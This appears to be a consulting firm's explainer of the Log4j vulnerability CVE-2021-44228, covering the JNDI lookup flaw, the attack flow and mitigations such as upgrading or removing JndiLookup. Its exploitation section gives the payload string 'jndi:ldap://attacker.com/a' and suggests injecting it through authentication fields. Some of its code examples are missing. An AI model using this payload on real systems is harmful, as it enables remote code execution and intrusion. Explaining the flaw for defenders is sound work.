Citrus Consulting Services

CVE-2021-44228

Introduction

December 09, 2021 observed series of attacks from Hackers, gaining easily remote control on the endpoints via unnoticed and undiscovered vulnerability.

A serious vulnerability “CVE-2021-44228” was found in open-source Apache log4j version 2 to version 2.14.

Log4j is used by developers to keep track of what happens in their software applications or online services.

Apache Log4j Vulnerability CVE-2021-44228

CVE-2021-44228 is a remote code execution (RCE) vulnerability in Log4j.

RCE is a cyber-attack where attacker can remotely execute commands on someone’s computer.

What makes Log4j Vulnerable?

Apache Log4j (version 2.0 – version 2.14.1) has JNDI features used in configuration and log parameters that don’t protect against attacker-controlled LDAP and other JNDI-related endpoints.

The Java Naming and Directory Interface is a Java API for a directory service that allows Java software clients to discover and lookup data and resources via a name.

Services that can be used to inject crafted request includes:

• Lightweight Directory Access Protocol (LDAP)
• Secure LDAP (LDAPS)
• Remote Method Invocation (RMI)
• Domain Name Service (DNS)

If the vulnerable server uses log4j to log requests, the exploit will then request a malicious payload over JNDI through one of the services above from an attacker-controlled server and may be able to gain remote access.

How it Works…

Pre-Requisite for the attack

• Server with Apache Log4j (version 2.0 – version 2.14.1)
• an endpoint with any protocol (HTTP, TCP, etc.,) that allows an attacker to send the exploit string
• a log statement that logs out the string from the request

Flow of the attack in Simple words

• Attacker sends a request to the vulnerable server via any protocol (HTTP, TCP, etc.,)
• The server running Apache Log4j logs the data in the request
  • The request from the attacker contains malicious payload
• The log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via JNDI
• This response contains a path to a remote Java class file which is then injected into the server process
• The injected payload allows the attacker to get remote access to the vulnerable server

How Log4j Works

Log4J uses variable extrapolation to resolve correct value of a variable when logging. For example, if we use this following line in the code:

Here, ${dollar} will be replaced by the value (example – 100) of the variable during log writing.

This is how it will look like:

Exploitation

Since Log4j does resolve variable, we can pass malicious strings which can execute a code and give us remote control over the system.

Sounds simple, but we have another challenge. We still need to authenticate first. This can be by passed by sending the malicious string while authenticating.

As per the working model of Log4j, even the authentications are logged.

THE STRING

What string needs to be passed to make all this work?

Let’s understand this with an example. First, assume below string is used to authenticate with the vulnerable server:

Now, only thing we need to do here is pass the string “jndi:ldap://attacker.com/a”.

While logging log4j will do JNDI lookup to get the value of expression using JNDILookup Class. Thereafter, attacker will get a connection from secure environment to their fake domain “attacker.com” environment.

From here, the attacker can ask the log4j to download the code which leads to remote code execution, giving the remote control to the attacker.

Mitigation

Log4j 1.x mitigation

Audit your logging configuration to ensure it has no JMSAppender configured. Log4j 1.x configurations without JMSAppender are not impacted by this vulnerability.

Log4j 2.x mitigation

Implement one of the following mitigation techniques:

• Java 8 (or later) users should upgrade to release 2.16.0.
• Java 7 users should upgrade to release 2.12.2.
• Otherwise, in any release other than 2.16.0, you may remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Note that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability